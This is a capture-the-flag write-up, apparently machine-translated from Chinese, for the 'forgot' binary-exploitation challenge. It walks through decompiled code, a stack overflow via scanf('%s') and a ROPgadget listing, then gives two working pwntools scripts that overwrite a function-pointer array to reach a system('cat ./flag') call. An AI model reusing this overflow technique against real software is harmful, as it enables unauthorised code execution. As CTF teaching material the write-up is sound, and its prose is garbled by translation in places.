<> Attack and defense world forgot—— A dazzling question

Today, I did an advanced problem of attacking and defending the world , It looks complicated , But actually that's it ( Turn off the one that Baidu just arrived wp [doge])
, After finishing, the most intuitive feeling is that their code reading ability needs to be improved . Don't say much , before check individual sec:

It's only open NX( Stack not executable ), Rounding is no protection , Direct pseudo code

The disassembly pseudocode is as follows :
int __cdecl main() { size_t v0; // ebx char v2[32]; // [esp+10h] [ebp-74h]
BYREF _DWORD v3[10]; // [esp+30h] [ebp-54h] char s[32]; // [esp+58h] [ebp-2Ch]
BYREF int v5; // [esp+78h] [ebp-Ch] size_t i; // [esp+7Ch] [ebp-8h] v5 = 1; v3[0
] = sub_8048604; v3[1] = sub_8048618; v3[2] = sub_804862C; v3[3] = sub_8048640;
v3[4] = sub_8048654; v3[5] = sub_8048668; v3[6] = sub_804867C; v3[7] =
sub_8048690; v3[8] = sub_80486A4; v3[9] = sub_80486B8; puts("What is your name?"
); printf("> "); fflush(stdout); fgets(s, 32, stdin); sub_80485DD(s); fflush(
stdout); printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654
); fflush(stdout); puts("Enter the string to be validate"); printf("> "); fflush
(stdout); __isoc99_scanf("%s", v2); for ( i = 0; ; ++i ) { v0 = i; if ( v0 >=
strlen(v2) ) break; switch ( v5 ) { case 1: if ( sub_8048702(v2[i]) ) v5 = 2;
break; case 2: if ( v2[i] == 64 ) v5 = 3; break; case 3: if ( sub_804874C(v2[i])
) v5 = 4; break; case 4: if ( v2[i] == 46 ) v5 = 5; break; case 5: if (
sub_8048784(v2[i]) ) v5 = 6; break; case 6: if ( sub_8048784(v2[i]) ) v5 = 7;
break; case 7: if ( sub_8048784(v2[i]) ) v5 = 8; break; case 8: if ( sub_8048784
(v2[i]) ) v5 = 9; break; case 9: v5 = 10; break; default: continue; } } ((void (
*)(void))v3[--v5])(); return fflush(stdout); }
Reason , I'm not to blame for this code , every last sub It's a function , Who can stand it

Let's start with functional logic , Otherwise, the problem can't be solved at all :

First apply an array v3 Used to store a lot of function pointers , We will not look at the specific content of the function , Then look down .

The next step is for you to enter your name , As a person who has “gets”,“read”,“scanf” Carve in DNA Xiaobai is not sleepy , But the goose fixed her eyes ,
Applied 32 Bytes of memory space , I just read it in 32 Byte character , Had to reluctantly pick up the pants and then look down .

And then there's the function sub_80485DD, The main function is balabala Output a lot of nonsense :
Hi Sanchez Finite-State Automaton I have implemented a robust FSA to validate
email addresses Throw a string at meand I will let you know if it is a valid
email address Cheers! I should give you a pointer perhaps. Here: 8048654 Enter
the string to be validate
Then a read operation is performed , You can read it , I mean it , Applied 32 Bytes of memory, but root book no yes limit system
Read in size , It's not about doing whatever you want ? You can leave behind a whole bunch , Let's see if we can go straight pwn fall .

First of all, of course return 2 system call,ROPgadget give the result as follows
ROPgadget --binary ./forgot --only "pop|ret" Gadgets information
============================================================ 0x08048adf : pop
ebp ; ret 0x08048adc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08048421 :
pop ebx ; ret 0x08048ade : pop edi ; pop ebp ; ret 0x08048add : pop esi ; pop
edi ; pop ebp ; ret 0x0804840a : ret 0x0804855e : ret 0xeac1 0x08048eb4 : ret
good heavens ,pop reach eax ecx edx There's not a single sentence of , The topic is open again NX protect , therefore return 2 shellcode
I can't do it , Had to reluctantly continue to look down .

There's a lump in the back switch sentence , Because the code is too long , Call the specific code of the function will not be posted out ,
The main function is to judge whether the input string is a legal mailbox format one by one , And then change it according to the return result of each function v5 Value of .
( Reason , I don't want to do this problem when I see it here , Directly opened Baidu to start searching wp)

This is followed by a function pointer call , Specific calls to the pointer from the array v3 Take from the middle , The number of the pointer to the function is called switch The sentence ravaged a big round v5.

At this time, we need to see what a lot of functions are talking about , If there is no accident, there should be one system Let's use the function return 2 text Of .

have a look IDA pro List of system functions for , Sure enough, I saw one system function , Right click to find system Where functions are referenced in code .

Sure enough , keep thy shop and thy shop will keep thee. , In a lot of fancy functions, there is such a function that comes out of the mud :
int sub_80486CC() { char s[58]; // [esp+1Eh] [ebp-3Ah] BYREF snprintf(s, 0x32u,
"cat %s", "./flag"); return system(s); }
But the title will not call the function itself , Then we can only offer a condition that we can't refuse

We can only control the stack at present , actually , from esp + 0x58( character string s First byte of ) The whole stack frame in the future is under our complete control , It means , The parameters we can control are
Storing function pointers v3 array , variable v5 And loop variables i. among ,v5 And i Will be changed later in the program , So there's no value in control , All that's left is the parameters v3 Array .

That's all , I think we all have bold ideas :

Method 1 : Strictly control the input of string , Make yourself able to predict the end v5 Value of , And change the serial number v5 The corresponding function pointer contains “cat
flag” Function of instruction sub_80486CC, Make the function run in the direction we want .

Method 2 : Most of the stack frames are in my hands , Is it necessary to be so careful ? Direct a wave of the function pointer array v3 The whole coverage is sub_80486CC Isn't his address fragrant , It's up to you v5 How much is it , Just do it v3 The function in must jump directly to the system function .

Rough people like me never like to work with embroidery needles , The second option was chosen directly , Brainless burst entire pointer array , Don't you just do what you want ?

exp as follows
from pwn import * context(arch = "i386", os = "linux") p = process("./forgot")
#p = remote("",33080) sys_addr = p32(0x80486CC) sys_setoff = 0x20
# len(s) = 32 payload = "a" * sys_setoff + sys_addr * 10 p.recvuntil(">") p.
sendline("Sanchez") p.recvuntil(">") p.sendline(payload) p.interactive()
In order to take care of those brothers who prefer precision strike , I've prepared another way , That is to analyze the function condition carefully , Discovery when v5 The initial value of is 1 And the whole s The value of is uppercase or “*”
When waiting for characters ,v5 The value of is always the same , At this time, as long as the v3 Change the initial address to the destination address

Method 1 exp
from pwn import * context(arch = "i386", os = "linux") p = process("./forgot")
#p = remote("",33080) sys_addr = p32(0x80486CC) sys_setoff = 0x20
# len(s) = 32 payload = "A" * sys_setoff + sys_addr p.recvuntil(">") p.sendline(
"Sanchez") p.recvuntil(">") p.sendline(payload) p.interactive()
So , The problem seems complicated , It's a simple one , Tell yourself , everything pwn It's all paper tigers , Because Turner sonnell is sure to come true !(bushi)

If you have any questions, please feel free to ask in the comments section , If you find any knowledge mistakes in the narration, you are welcome to put forward them in the comment area . Code is not easy ,xdm If you think it's useful, you might as well praise it and support me 【doge】